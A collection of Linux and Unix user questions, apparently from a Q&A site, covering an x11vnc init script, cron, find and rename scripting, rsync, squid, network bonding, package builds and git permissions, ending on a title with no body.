text: I am using OpenSUSE and I have created a script that launches at startup the x11vnc server. But when the user logs out x11vnc is killed. I want it to start again automatically. Here the script I wrote. It works perfectly at boot.               #!/bin/sh     #     # /etc/init.d/vnc     #     ### BEGIN INIT INFO     # Provides:          x11vnc server     # Required-Start:    xdm     # Should-Start:      # Required-Stop:      # Should-Stop:      # Default-Start:     5     # Default-Stop:      0 1 2 6     # Short-Description:      # Description:       Start or stop vnc server     ### END INIT INFO               #INIT SCRIPT VARIABLES     SERVICE=$(basename $0)     #Gets the name of the script          BIN="/usr/bin/x11vnc"     #Binary path     ALLOWED_GROUP=$(getent group g_vnc-usr | awk -F ":" '{ print $4 }')     #Only inf-usr group is allowed to take control of any machine.          AUTH=`ps wwaux | grep '/X.*-auth' | sed -e 's/^.*-auth *//' -e 's/ .*$//' | head -n 1`          OPT="-display :0 -auth ${AUTH} -nopw -unixpw ${ALLOWED_GROUP} -shared -oa /var/log/vnc.log -xkb -bg -verbose -forever"     #Various options of the x11vnc providing auth, user auth, logging and "keep alive" connection.          CMD="${BIN} ${OPT}"     #Both bin and options are stored          . /lib/lsb/init-functions          rc_reset     # Reset status of this service          case "$1" in         start)         echo -n "Starting ${SERVICE}..."             ## Start daemon with startproc(8).          /sbin/startproc ${CMD}              ##>> /dev/null 2>&1         sleep 2s              # Remember status and be verbose.             rc_status -v         ;;              stop)         echo -n "Shutting down ${SERVICE}..."         ## Stop daemon with killproc(8)          /sbin/killproc ${BIN}              # Remember status and be verbose         rc_status -v             ;;              restart)         ## Stop the service and regardless of whether it was         ## running or not, start it again.         $0 stop         $0 start              # Remember status and be quiet         rc_status         ;;              status)         echo -n "Checking for service ${SERVICE}..."         ## Check status with checkproc(8), if process is running         ## checkproc will return with exit status 0.         /sbin/checkproc ${BIN}              # Remember status and be verbose         rc_status -v         ;;         *)         echo -n          echo -n "Usage: ${SERVICE} {start|stop|restart|status}"         exit 1         ;;     esac     rc_exit      This script allows any user from the group to take the machine over even if no one is currently logged in. I wanted to use `xinitrc` and to add `exec /etc/init.d/vnc restart` Thank you.


title: /etc/crontab permissions

text: The `/etc/crontab` file has the permissions: `-rw-r--r--` I understand that this file is for system `cron` jobs and other users should not have permission to modify it. The current permissions allows all users read access to the file, enabling them to view the contents. Is it necessary for all users to be able read `/etc/crontab`? I believe that all users should not know some administrative commands, so wouldn't it be better to change the permissions to `-rw-r-----`? I used the permission string from CentOS and have not tested it on other distros.


title: Desktop environment for my grandma

text: I've an old laptop sitting around and I'm moving abroad. My grandma is kinda sad about that so I was thinking of installing some Linux distro on the old laptop and tailor it to her needs. What would you suggest as the desktop environment? It has to be configurable to the needs of an old person (e.g. easy to see visual elements) and easy for me to lock so she doesn't accidentally switch off something or remove something that she later can't find. Any suggestions are welcome.


title: Terminal with "repeat last" button

text: I'm often compiling stuff and therefore repeating the same command over and over, so I'd like to benefit from my "visual memory" and have a sort of "repeat last command" button attached to a terminal. More precisely, here is how I see it:   * My "special" terminal would be just like a standard terminal emulator, with an extra input line at the bottom, which would have a "run" button attached to it. Clicking the button would run the command _without_ erasing it.   * Maybe even an arbitrary number of such commands could be stacked (since I often need to alternate between 2 or 3 commands). I know I can use just `↑``Enter` with the keyboard to redo the last command, but what often happens is that I forget I just had to type another command (to fix something, or whatever) so `↑` will not bring the right command from the history. So instead of a reflex, I have to actually read (at least skim) the command before pressing Enter. Is there such a contraption somewhere? I often use several terminals precisely to make sure each always has the "right" command as last, but my `Alt`+`Tab` skills usually make me tab to the wrong window. And I need terminal information, such as the environment and cwd, so I cannot just try and "integrate" it in my code editor. I mean, using `Alt`+`F2` and then `Enter` would not work (since I also need the read the output from the terminal). I just want to be able to use the best of both keyboard and visual memory (via clicks) at the same time.


title: Python script to shutdown system doesn't work in cron

text: A python script to shutdown system works fine from the terminal but doesn't work when included in crontab. The script is called by cron but ends with an error ' _shutdown command not found_ 'or ' _init 0 command not found_ '. I am using fedora 17 and the script is executed from root's crontab.               #!/usr/bin/python     import os     os.system('shutdown')     os.system('init 0')


title: Automatic package is installed, but aptitude doesn't find any rdependencies. What am I doing wrong?

text: I have a package `lm-sensors` automatically installed on my Ubuntu 10.04, but can't find packages, that depend on it:               $ aptitude show lm-sensors     Package: lm-sensors     New: yes     State: installed     Automatically installed: yes     Version: 1:3.1.2-2     Priority: extra     Section: utils     Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>     Uncompressed Size: 455k     Depends: sed (>= 4.0.5-1), lsb-base (>= 3.2-13), libc6 (>= 2.3.4), libsensors4          (>= 1:3.1.1), perl     Recommends: fancontrol     Suggests: sensord, read-edid, i2c-tools     Description: utilities to read temperature/voltage/fan sensors     Lm-sensors is a hardware health monitoring package for Linux. It allows you to     access information from temperature, voltage, and fan speed sensors. It works     with most newer systems.           This package contains programs to help you set up and read data from lm-sensors.     Homepage: http://www.lm-sensors.org          $ aptitude search ~Dlm-sensors     p   ksensors                        - lm-sensors frontend for KDE                    p   sensord                         - hardware sensor information logging daemon     p   wmgtemp                         - Temperature sensor dockapp for Window Make     p   wmtemp                          - WM dock applet displaying lm_sensors tempe      No installed dependencies of lm-sensors can be found. Why is it still here then? One more question: how do I search for a pattern in `?` form:               $ sudo aptitude search ?depends(lm-sensors)     bash: syntax error near unexpected token `('      what am I doing wrong here?


title: Recursive rename files and directories

text: I'm using below command               for fname in *;     do     mv "$fname" $(echo "$fname" | sha1sum | cut -f1 -d' ')     done      ..but it only rename in current directory. Lets say I have many directories, and each directory contains some other directories, which last directory tree contain files. I want to rename them with random characters I think `find . -type f` should works, and have tried it, but still not get any working command.


title: variables in find command and more shell problem

text: > **Possible Duplicate:**   >  Recursive rename files and directories I wrote the following script:               #!/bin/bash     SAVEIFS=$IFS     alias export='export'     IFS=$(echo -en "\n\b")                    find $1 -name "*" -a -type f -exec sh -c let  len=`expr length {}` \;  -exec  sh -c let  str=`expr substr {} 1 len-3` \; -exec ffmpeg -y -i {}  $str.mp3 \;          # restore $IFS     unalias export     IFS=$SAVEIFS      _Problem:_ You know when more one shell you can't export your variable in other shell, So i need to :   1. use variables   2. don't use run shell So, how i do it? When run the following script:               find $1 -name "*" -a -type f -exec let  len=`expr length {}` \;  -exec let  str=`expr substr {} 1 len-3` \; -exec ffmpeg -y -i {}  $str.mp3 \;      # Note : above script doesn't has 'sh -c'       I get the following error:               find: `let': No such file or directory      I tested it with export or delete export or let , i discovered -exec has problem with built-in shell command....! Do you have any idea????


title: How can I find all files in a folder that contain a match of a regular expression in the file name?

text: I'd like to find all of the files in my home folder on Linux (Ubuntu, in this case) that contain a match a particular regular expression. Is there a simple Unix command that I can use in order to do this? For example, I'd like to find all of the files in my home folder with names that contain a match of the following regex (here, using Javascript-style notation): `((R|r)eading(T|t)est(D|d)ata)`


title: Does the filesystem influence flash drive speed?

text: I'm currently filling up an empty 16GB flash drive which gives me a lot of time for imponderables. It's formatted as fat32 or whatever it came with (and I'll probably leave it that way for ease of portability). I'm just wondering if it would make any difference in write/access times if I had formatted it to ext2 or 3.


title: Can't ssh to beaglebone?

text: After I did:               route add default gw 192.168.7.1      I also changed `/etc/resolv.conf`:               nameserver 192.168.7.1      in order to share internet between Ubuntu in VMware. I've got internet working but after a reboot, I can never `ssh` to beaglebone from any host. (Win7 or Ubuntu). SSH doesn't return any message back. On beagblebone the default is `nameserver 127.0.0.1`. Also, the command `route` returns:               Destination     Gateway     mask             Flags  Ref  Use  Iface     192.168.7.0     0.0.0.0     255.255.255.252  U      0    0    usb0      `ifconfig` returns:               usb0 net addr:192.168.7.2 Bcast:192.168.7.3      On the host(win7):               ipv4 addr: 192.168.0.110, ipv4 default gw 192.168.0.1      on Ubuntu `ifconfig` returns:               etho 192.168.179.129 Bcast:192.168.179.255      I also disabled GNOME from start up maybe it shuts down some default configurations? The file `resolv.conf` resets every time when the system starts.


title: need help booting the machine using the Ubuntu 10.04 installer CD

text: * I am trying to install Ubuntu 10.04 on my machine which already has Windows Vista and Fedora installed.   * I use GRUB to get the boot menu. The GRUB screen looks something like this (has a fedora logo at the bottom) ![alt text](http://i.stack.imgur.com/Md7Za.png)   * The problem is that when I insert the CD and try to boot, it takes me directly to the GRUB menu for Fedora/Vista, nothing for Ubuntu.   * So, I tried Ubuntu's CD boot helper to help me boot from the CD, and I get this error ![alt text](http://i.stack.imgur.com/HATv1.png)   * The BIOS says that I should press `F2` for setup and `F12` for boot options. I tried them. Nothing happens except that it goes straight to the GRUB menu. **What should I do?** Originally posted here, did not get a solution till now.


title: Just installed openSUSE 11.3, and after 5 seconds , my keyboard goes to sleep for 1-2 characters?

text: My keyboard skips one or two characters, whenever I stop typing for 5 seconds or more. Since I just installed 11.3 openSUSE, I don't know if this issue is an improper configuration, a bug in 11.3, or my keyboard failing. It doesn't matter what application I am running, or what keys are pressed. Keyboard failure doesn't seem likely. I cannot find anything in either yast or personal preferences that might fix it. Thus, I suspect something in SUSE, maybe the keyboard driver, but I am a not a Linux pro, and I am stumped. It is very annoying, having to **k** key first characters twice after pausing. Thanks very much for any help.


title: XForwarding Applications from OSX

text: Using XForwarding, you can access GUI applications over ssh between two Xorg- powered machines (and sometimes even from a windows machine). Is there a way to access OSX applications (like Finder) from an Xorg machine?


title: How to make gdm3 start X installed in a different path (or running X from a personalized path)?

text: I've built the entire Xserver from git for testing proposes using the build.sh provided by freedesktop.org as the easier method to compile all modules against the git tree, and installed under the `/opt/xorg` path. The problem is that I can't find how `gdm` decides from where to load the Xserver and related binaries. I've read on the X.org site the section: 'Actually running the conformance tests', but the scripts/helpers that I could use returns a 404. Although I know where the Xorg executable is and its links, I'm not sure that will be enough to make everything work as expected, as I want to test the Xserver built and installed in the custom path. I'm using Debian 7.0 and GDM 3.4.1. Any other method could be used too?


title: Workings of top and ps commands

text: How do the commands `top` and `ps` calculate CPU utilization using the `/proc/[$pid]/stat` file? Also how do they obtain memory utilization information about the process?


title: Building monotools-server, gtk+, pango - bizarre path issues

text: I'm attempting to build the monotools-server app from source. After **days** of hunting down missing dependencies (and in one case (`xsp`) having to manually modify a generated `Makefile` to remove a reference to a test project which requires a missing `Mono.Data.SqliteClient.dll`, a bug which was reported over a year ago), I'm down to gtk+-2.24. When I run the ./configure script for gtk+, I see yet more missing packages:               configure: error: Package requirements (glib-2.0 >= 2.27.3    atk >= 1.29.2    pango >= 1.20    cairo >= 1.6    gdk-pixbuf-2.0 >= 2.21.0) were not met:          No package 'atk' found     No package 'pango' found     No package 'cairo' found     No package 'gdk-pixbuf-2.0' found          Consider adjusting the PKG_CONFIG_PATH environment variable if you     installed software in a non-standard prefix.      Okay, fine, so I download pango 1.28.4. The `configure` script               ./configure --prefix=$HOME      runs just fine, and creates a whole mess of make files and .pc's. When I run `make`, I get the error:               [slively@gpu1 pango-1.28.4]$ make     make  all-recursive     make[1]: Entering directory `/lustre/users/slively/download/pango-1.28.4'     Making all in pango     make[2]: Entering directory `/lustre/users/slively/download/pango-1.28.4/pango'       GEN    s-enum-types-h     /bin/sh: line 1: ..//users/slively/lib/pkgconfig/./gobject/glib-mkenums: No such file or directory     make[2]: *** [s-enum-types-h] Error 127     make[2]: Leaving directory `/lustre/users/slively/download/pango-1.28.4/pango'     make[1]: *** [all-recursive] Error 1     make[1]: Leaving directory `/lustre/users/slively/download/pango-1.28.4'     make: *** [all] Error 2     [slively@gpu1 pango-1.28.4]$       A few things jump out at me: First, the error:               bin/sh: line 1: ..//users/slively/lib/pkgconfig/./gobject/glib-mkenums: No such file or directory      What's up with that path?! `..//users/slively/lib/pkgconfig/./gobject/glib- mkenums`? Aside from the weird `..//` at the start of the path (it should be `/users/slively/...`, I searched my home directory for `gobject` and found:               [slively@gpu1 ~]$ find . -name gobject*     ./bin/gobject-query     ./include/glib-2.0/gobject     ./include/glib-2.0/gobject/gobject.h     ./include/glib-2.0/gobject/gobjectnotifyqueue.c     ./share/man/man1/gobject-query.1     ./share/glib-2.0/gdb/gobject.py     ./share/gtk-doc/html/gobject     ./share/gtk-doc/html/gobject/gobject-Boxed-Types.html     ./share/gtk-doc/html/gobject/gobject-Closures.html     ./share/gtk-doc/html/gobject/gobject.devhelp     ./share/gtk-doc/html/gobject/gobject.devhelp2     ./share/gtk-doc/html/gobject/gobject-Enumeration-and-Flag-Types.html     ./share/gtk-doc/html/gobject/gobject-Generic-values.html     ./share/gtk-doc/html/gobject/gobject-GParamSpec.html     ./share/gtk-doc/html/gobject/gobject-memory.html     ./share/gtk-doc/html/gobject/gobject-properties.html     ./share/gtk-doc/html/gobject/gobject-query.html     ./share/gtk-doc/html/gobject/gobject-Signals.html     ./share/gtk-doc/html/gobject/gobject-Standard-Parameter-and-Value-Types.html     ./share/gtk-doc/html/gobject/gobject-The-Base-Object-Type.html     ./share/gtk-doc/html/gobject/gobject-Type-Information.html     ./share/gtk-doc/html/gobject/gobject-Value-arrays.html     ./share/gtk-doc/html/gobject/gobject-Varargs-Value-Collection.html     ./lib/pkgconfig/gobject-2.0.pc     ./lib/pkgconfig/gobject-2.0-uninstalled.pc     [slively@gpu1 ~]$       And, the only instances of `glib-mkenums` are in `~/bin` and the donwload folder where I built glib.               [slively@gpu1 ~]$ find . -name glib-mkenums     ./bin/glib-mkenums     ./download/glib-2.28.6/gobject/glib-mkenums     [slively@gpu1 ~]$       What am I missing here? One thing I love about Windows: install = "click click, Accept." HELP.


title: archlinux aif command not found

text: I`m pretty much a newbie to linux and a complete newbie to archlinux. I started Archlinux after grub and I see a               [root@archiso ˜]#      command bash. The installation guide tells me to either type               /arch/setup      or               aif -p interactive      to start the interactive installation routine with the Archlinux installation framework. However the bash console tells me "aif: command not found" (I tried if even only "aif" works). Am I at the wrong place? Thanks a lot for your time.


title: How to get some part of string in linux

text: The output of find command is like > /home/user/test/folder1/abc.png Now i want to get > folder1 from above string


title: Switch to Gnome from KDE without logging out

text: Right now I'm using the KDE desktop on Fedora, but I want to switch to Gnome. Problem is, I have many things open right now (xterms, xemacs, etc, etc), and I don't want to close all of them, log out, switch, then reopen everything...that'd take way too long. So my question is: **is it possible to switch to Gnome without having to log out?? Or switch but NOT have to close and reopen everything?** Please excuse me if there's an error in my understanding of unix desktops. Still a newbie!


title: snmpwalk community results to timeout

text: My `snmpwalk` suddenly stopped working, which was working earlier, after restarting the snmp also didn't work out, `snmpwalk -v1 -c` gives me timeout and it's working for other machines as well. I tried to recreate `snmpconf` with community string and IP address but still didn't get through. While checking in messages I got like this: > Oct 19 05:07:34 manilavoice rsyslogd-2177: imuxsock begins to drop messages > from pid 8448 due to rate-limiting" the process id is related to snmpd > service I got a message when I ran `snmpwalk -d 10.30.2.58` like this:               [root@manilavoice gopal]# snmpwalk -d 10.30.2.58     No log handling enabled - turning on stderr logging          Sending 64 bytes to UDP: [10.30.2.58]:161->[0.0.0.0]     0000: 30 3E 02 01  03 30 11 02  04 53 BF 41  80 02 03 00    0>...0...S.A....     0016: FF E3 04 01  04 02 01 03  04 10 30 0E  04 00 02 01    ..........0.....     0032: 00 02 01 00  04 00 04 00  04 00 30 14  04 00 04 00    ..........0.....     0048: A0 0E 02 04  68 CA 67 C6  02 01 00 02  01 00 30 00    ....h.g.......0.      and finally:               snmpwalk: Timeout      Any comments would be appreciated. Also my firewall and SElinux is OFF. Moreover same `snmpd.conf` file with one more system works fine in different location. ### EDIT #1 I tried with this, and got the following results:               [root@manilavoice spool]# mount -vvv 10.30.4.20:/volume2/Asterisk_Recordings      /var/spool/newnfs          mount: fstab path: "/etc/fstab"     mount: mtab path:  "/etc/mtab"     mount: lock path:  "/etc/mtab~"     mount: temp path:  "/etc/mtab.tmp"     mount: UID:        0     mount: eUID:       0     mount: no type was given - I'll assume nfs because of the colon     mount: spec:  "10.30.4.20:/volume2/Asterisk_Recordings"     mount: node:  "/var/spool/newnfs"     mount: types: "nfs"     mount: opts:  "(null)"     mount: external mount: argv[0] = "/sbin/mount.nfs"     mount: external mount: argv[1] = "10.30.4.20:/volume2/Asterisk_Recordings"     mount: external mount: argv[2] = "/var/spool/newnfs"     mount: external mount: argv[3] = "-v"     mount: external mount: argv[4] = "-o"     mount: external mount: argv[5] = "rw"     mount.nfs: timeout set for Sat Oct 19 14:23:33 2013     mount.nfs: trying text-based options 'vers=4,addr=10.30.4.20,clientaddr=10.30.4.48'     mount.nfs: mount(2): Connection timed out     mount.nfs: Connection timed out


title: Rsync --- Itemized List of Changes

text: I've learned that with the `-i` option, I can get rsync to list all the changes it makes. I've been using it along with the `-n` or `\--dry-run` options so that I can always learn about all expected changes prior to actually executing them. I've been using rsync mainly to sync my home directories on my two computers, both of which are connected to a network. Often times I need to move just a small number of relatively small files. If this is the case, rsync spends more time going through all the files it's going to exclude from the transfer rather than actually transferring the actual changed files. Now if I follow this procedure where I first do a dry run and list all the changes, and then actually proceed, the longest part of calculating the files that are to be excluded from the transfer gets done two times. I'd like to cut it to just one. Is there a way to feed the itemized list of changes created by the dry run back to rsync so that the live run is faster or do something to that effect?


title: Squid transparency except for SSL/HTTPS

text: How would you set up squid so that everything else is transparent (e.g FTP, HTTP, etc.) except for SSL/HTTPS which needs to be set manually? Will I need to change my firewall rules?


title: How to close gdb (or other frames) on emacs?

text: I'm learning about emacs (using version 2.3 on Ubuntu 10.10), and I'm having some trouble with the frames. When I run gdb, for example, I have to get my mouse and click "File->Close" to close the gdb frame. What's the easiest way to close a frame from keyboard? By the way, is there a summary for this keyboard shortcuts?


title: Can I accelerate swap by using multiple harddrives?

text: I still have two old ATA drives (one is only 8GB, one is somewhat defect) and I've been thinking about putting them into my PC and activating swap on them, too. What will be effect of this? Will my system spread data across the drives evenly so that swapping becomes faster?


title: How to also download duplicate images?

text: I have a list of 900 URLs. Each page contains one image. Some images are duplicates (with same URL). I want to download 900 images, _including_ duplicates. I was able to download all pages and the embedded images (and ignored all other file types) with wget. But it seems to me that wget "ignores" an image when it was already downloaded before. So I had 900 pages, but only around 850 images. (How) can I tell wget to download duplicates, too? It could append `_1`, `_2`, … at the file name. * * * My wget command: `wget --input-file=urls.txt --output-file=log.txt --wait 1 --random-wait --page-requisites --exclude-domains code.jquery.com --span-hosts --reject thumbnail*.png -P downloadfolder`


title: What is the easiest way to tell RHEL5 from RHEL6 in a bash script?

text: I work in an environment where we are slowly transitioning machines from Red Hat Enterprise Linux 5 to RHEL 6. I need some of my scripts to do something subtly different on RHEL6 machines to what is currently being done on RHEL5 machines. The pragmatic solution is to check at runtime and run some commands on RHEL5, others on RHEL6 and some on both. A practical example of this is that we are using environment modules and my `.bashrc` includes a `module load git` line, but on RHEL6 machines this command errors:               RHEL6 system, git should be installed - not loading module      Looking in the modulefile I find the following code:               set redhatrelease [eval exec "cat /etc/redhat-release"]     if { [regexp -nocase {release 6} $redhatrelease] } {       puts stderr "\n\t RHEL6 system, git should be installed - not loading module\n"     } else {       ...     }      This seems to do what I want, but I was hoping for something shorter. So, what is the easiest way to tell RHEL5 from RHEL6 in a bash script? Ideally it should be robust across different major versions, but be tolerant of variations in minor release numbers.


title: Locking the screen when laptop lid is shut (Gnome 3.8, Fedora 19)

text: I cannot for the love of god figure out how to configure the screensaver to be run (which in turn causes the screen to be locked) every time I shut the lid of my laptop. I have xscreensaver installed and on Xfce it allowed me to configure an action when the lid is shut. Well, not on Gnome 3 :-( Any ideas? **Edit** : I do not want the computer to suspend/hibernate when I shut the lid; simply blank the screen.


title: Can't copy files from a loop-mounted ISO image: Input/Output error

text: Please advise - why do I get an "Input/output error" when I try to copy some files from my ISO mount to `/var/tmp` I mount the `.iso` file under `/mnt` and try to copy files from the `isolinux` directory to `/var/tmp`:               [root@localhost tmp]#  mount -o loop,ro  RedHat-5.8.1-01_x32.iso /mnt     [root@localhost tmp]#      [root@localhost tmp]# cd /mnt     [root@localhost mnt]# cd isolinux       [root@localhost isolinux]# ls      boot.cat  general.msg  isolinux.bin  memtest      param.msg   splash.lss      boot.msg  initrd.img   isolinux.cfg  options.msg  rescue.msg  vmlinuz     [root@localhost isolinux]# cp -rp vmlinuz initrd.img  /var/tmp      cp: reading `vmlinuz': Input/output error      cp: reading `initrd.img': Input/output error


title: Why is expect's interact command not working?

text: I am trying to automate gdb with expect. My script will start gdb, do some initialisation, and then pass the control to the user. Expect's `interact` command seems like the perfect tool for the job. Now consider:               $ echo "spawn gdb         expect \"(gdb) \"         send \"help\r\"         expect \"(gdb) \"         interact" | expect -      On my machines, this scriptlet spawns gdb, issues the help command, as expected. But then it immediately exits the script and returns me to the bash prompt. I would expect the user to stay within gdb and be able to issue commands. Any idea what I am missing here?


title: $PWD variable equivalent of pwd -P

text: I want to use the `$PWD` variable in a script, but I want it to be the hardware path without symlinks. I know about `/bin/pwd` and `pwd -P`, but those aren't variables. I know that I can use:               setenv MYPWD `pwd -P`      But I remember there being another way to do it.


title: Is it possible to add/remove arp-ip-targets without taking the bonding interface up/down

text: i just changed in `/etc/sysconfig/network-scripts/ifcfg-bond0`: `BONDING_OPTS="mode=active-backup arp_interval=1000 arp_ip_target=10.0.0.1"` and now i want to set those arp_interval and arp_ip_target temporarily so i dont have to restart the interface. I know to set the arp_interval: `echo 1000 > /sys/class/net/bond0/bonding/arp_interval` but the same isn't working in: `/sys/class/net/bond2/bonding/arp_ip_target` so is there a different way? Google didn't yield me much on this topic .. System is: RHEL 6.3 EDIT: I found these 2 Documentations:   * Linuxfoundation Documentation   * RedHat Documentation But as far as i can see:   * The least i have to do is get the interface up/down. Which isn't working on my test-server.   * Or a network restart, which only works for adding, but not removing arp_ip_targets. I'll keep looking, because reboot/network restart is unacceptable. I could live with restarting/initializing only one bonding interface at the same time, but i can't get it to work like that .. yet.


title: Make an SD card to boot the distribution image created with Yocto

text: I have managed to build images for my own compiled Linux kernel source code using Yocto. Yocto has produced image files according to:   http://www.crashcourse.ca/wiki/index.php/Yocto_Project_Quick_Start Example from above link:               $ ls -F       core-image-minimal-beagleboard-20121120113536.rootfs.jffs2       core-image-minimal-beagleboard-20121120113536.rootfs.tar.bz2       core-image-minimal-beagleboard.jffs2@       core-image-minimal-beagleboard.tar.bz2@       MLO-beagleboard@       MLO-beagleboard-1.5.0+git1+9f94c6577e3a018b6b75cbe39f32bb331871f915-r0*     modules-3.4.11-yocto-standard-r4.3-beagleboard.tgz       README_-_DO_NOT_DELETE_FILES_IN_THIS_DIRECTORY.txt       u-boot-beagleboard.bin@       u-boot-beagleboard-v2011.06+git6+b1af6f532e0d348b153d5c148369229d24af361a-r3.bin*       u-boot.bin@       uImage@       uImage-3.4.11+git1+a201268353c030d9fafe00f2041976f7437d9386_1+449f7f520350700858f21a555  4b81cc8ad23267d-r4.3-beagleboard-20121120113536.bin       uImage-beagleboard.bin@       x-load-beagleboard-1.5.0+git1+9f94c6577e3a018b6b75cbe39f32bb331871f915-r0.bin.ift*       x-load-beagleboard.bin.ift@       $      Although being a complete noob to Linux, how do I use these Images to produce an SD card that can boot the Linux dist Yocto has produced? Partioning etc? How do I use my Yocto images?


title: Regex match in CLI

text: Is there something like a logical for the cli? I want to achieve this               mv -t newfolder *.(png|jpg)      so that alls jpg and png files are moved into newfolder. I know it could be done with               mv -t newfolder *.png && mv -t newfolder *.jpg      But there is somewhere sytactic sugar, isn't it?


title: How to download latest version of cmake?

text: I have installed cmake like this - `sudo apt-get install cmake` But whenever I try to compile my c++ code.. I always get the below error -               CMake Error at CMakeLists.txt:2 (cmake_minimum_required):       CMake 2.8.7 or higher is required.  You are running version 2.8.2      When I did cmake --version I got this -               username@phx7b02c-ee1b:~/build$ cmake --version     cmake version 2.8.2      Somehow it is not downloading the latest version of cmake? Any thoughts? I am running Ubuntu -               username@phx7b02c-ee1b:~$ uname -a     Linux phx7b02c-ee1b 2.6.35-22-server #33-Ubuntu SMP Sun Sep 19 20:48:58 UTC 2010 x86_64 GNU/Linux


title: where would gmon.out be written if process were started by upstart

text: I have a binary which I want to profile (is compiled with `-g -pg`), and its started by `upstart`. Where would the `gmon.out` file be written after the process terminates? (would it be written at all!?)


title: shell script/utility replace 2 byte unicode in binary file

text: I have many large Unicode files. I would like to replace each Unicode byte pair with a new Unicode byte pair. For example, the original file contains "C3 B9 C3 AB C3 B8 C3 B0" and I would like to replace this with "D7 A0 D7 A8 D7 9B D7 A9". I would need to replace every "C3 B9" with "D7 A0" throughout the file. There will be about 30 different "C3 XX" values to be replaced by "D7 YY" values. I would need a table to loop through for each replacement. Ideally this would replace the original file but it can also create a new output file. Is there a utility that runs under Ubuntu that will do this job?


title: Razor-Qt in Debian Wheezy?

text: I have Debian 7.3 Wheezy, KDE desktop and I want to install a light-weight desktop environment, based on Qt (like KDE, so I don't need to install too many dependencies). I've heard the buzz about Razor-qt and I've read a couple of reviews on the net. However I can't find a guide that helps me install the basic packages for razor-qt. **Can someone help me install razor-qt via CLI, please?** This is my `/etc/apt/sources.list` file - do I have to modify it?               deb http://security.debian.org/ wheezy/updates main contrib non-free     deb-src http://security.debian.org/ wheezy/updates main contrib non-free          # wheezy-updates, previously known as 'volatile'     deb http://ftp.it.debian.org/debian/ wheezy-updates main contrib non-free     deb-src http://ftp.it.debian.org/debian/ wheezy-updates main contrib non-        free          #Nvidia drivers repos     deb http://ftp.debian.org/debian/ wheezy main contrib non-free          #deb http://deb-multimedia.org wheezy main


title: Use M-C, M-V, M-A for Copy, Paste, Select All

text: I am using Kubuntu Linux 12.04 on a Macbook Pro, and I am seeking the ability to use the Command/Meta key for common shortcuts such as copy, paste, and select all. ## Attempted solutions:   * Remap Copy, Paste, Select All, and others in KDE's System Settings > Shortcuts and Gestures > Standard Keyboard Shortcuts      * **Problem** : These shortcuts appear to be ignored by most applications. All web browsers that I tested continued expecting the `Ctrl` key where I indicated desire of using the `Meta` key. Due to being unable to find a working web browser, I did not attempt any other applications.     * Tested in: Firefox, Chromium, Rekonq, Arora, Konqueror.   * Swap `Meta` with `Ctrl` using xmodmap.      * **Problem** : Terminal emulators would then require the use of the `Meta` key in place of the `Ctrl` key for commands such as the keyboard interrupt, most Emacs bindings, and countless other bindings in various CLI applications. ## Considered Solutions:   * Individually change common shortcuts within GUI applications. Unfortunately, being able to change the bindings for Copy, Paste, and Select All appears to be rare.   * Change Ctrl modifier for only Konsole (or another terminal emulator.) This would ideally cause `Meta`-`x` to produce the keystroke `Ctrl`-`x` and vice-versa. I cannot find any way to accomplish this, however.   * Use stty to change the bindings for terminal key commands to use meta and additionally write custom config files for all other CLI applications. This would require an unreasonable amount of effort to accomplish. I am extremely surprised at how much effort this simple modification is appearing to require, and I will appreciate any help that can be provided to find a reasonable working solution.


title: Suggest good book to learn basics about Linux

text: > **Possible Duplicate:**   >  Good Introductory resources for linux I'm looking for good book that teaches basics of Linux. I'm not interested (at the moment) about developing stuff, but more generally - what's Linux, how things work (how they are putted together), command line and other useful stuff thats needed to get comfortable with Linux. If we speak about distros, I'm more interested in Debian and Debian-based ones. Please one book per answer and keep in mind - I'm newbie.


title: Wine - Java-Editor's Frame Window is black

text: I have a strange bug with the Java-Editor on Linux using Wine. When I run a _Frame Window_ it is completely black. The rest of the editor works quite well. My mouse recognizes the text fields (changing cursor). Winetricks also behaves a little bit strange: ![Winetricks](http://i.stack.imgur.com/EGTdy.jpg)


title: Why doesn't eth0 get an ip address when set up in a bridge?

text: I'm trying to understand how dhcp for IPv4 is used with bridging. eth0 is configured to be in br0. This is working just fine but only br0 gets a dhcp lease, while eth0 doesn't. Both are configured with `BOOTPROTO=dhcp`. If anything, I would have expected eth0 to have the IP address and br0 as a "layer 2 device" to have none, not the other way around. Any suggestion would be greatly appreciated.


title: compile software with older version of gcc and linux kernel

text: Distributor ID: SUSE LINUX     Description:    openSUSE 11.4 (x86_64)     Release:    11.4     Codename:   Celadon          gcc (SUSE Linux) 4.5.1          Linux linux-14ay 2.6.37.6-0.20-desktop #1 SMP PREEMPT 2011-12-19 23:39:38 +0100 x86_64 x86_64 x86_64 GNU/Linux      I am trying to install software on the above system. However, the software that I need requires an earlier version of gcc (version 4.1) my current install version is 4.5.1. It is possible to install an 4.1 on my current system? Where would I get the gcc version from? Also, I get this message about the Linux kernel               The current kernel version (2.6.37.6-0.20-desktop) is later than     the version currently supported by this software (2.6.5)      Is it possible to install this earlier kernel. Where would I get that from?


title: Permissions issue with git

text: I have a development machine that use runs on CentOs. Whenever i pull from git using `git pull` i get "permission denied" issue/error. Git apparently doesn't have the permission to overwrite the files needed when i do a pull. Thus after every time i have to `sudo git pull` to get it to work. I would rather not do a `sudo git pull` because i'd like everyone to be able to pull from our development server. How do i configure git to have the proper permissions to just be able to pull without `sudo`ing? Is this because I may have not configured git properly? If so how do i configure git to allow the correct permissions? Not sure if this helps but a `which git` reveals this: `/usr/bin/git` **Example error** i execute: `git commit -m "my fun message"` i get: > error: Unable to append to .git/logs/refs/heads/stage: Permission denied > fatal: cannot update HEAD ref


title: Search for a previous command with the same prefix when I press Up at a shell prompt

text: Coming from a FreeBSD world I wish to make the Linux terminal behave like FreeBSD one, especially the 9.1 version, basically when you type `cd` in the terminal and push the "up" arrow you can browse all the commands in the history starting with `cd` which makes you gain a lot time. I don't know how to enable this feature in Linux Debian or CentOS which force me to type the whole, could someone please help.


title: Count appearance of a variable in another file

text: I do have the following situation: File1 looks like:               A       B       C        File2 looks like:               chr1 \t 1234523 \t A       chr3 \t 1234231 \t A       chr6 \t 121233 \t A       chr1 \t 1126685 \t B       chr1 \t 15834523 \t B       chr4 \t 12345647 \t C       chr12 \t 1456523 \t C        I would like to get the output:               A \t 3      B \t 2       C \t 2        I know that I could do it like               grep A File2 | wc -l      However, than I would need to do it for each single line in File1 (which are 700). How can I automate that? (Sorry, I am a total beginner)


title: Chrony 506 Cannot talk to daemon

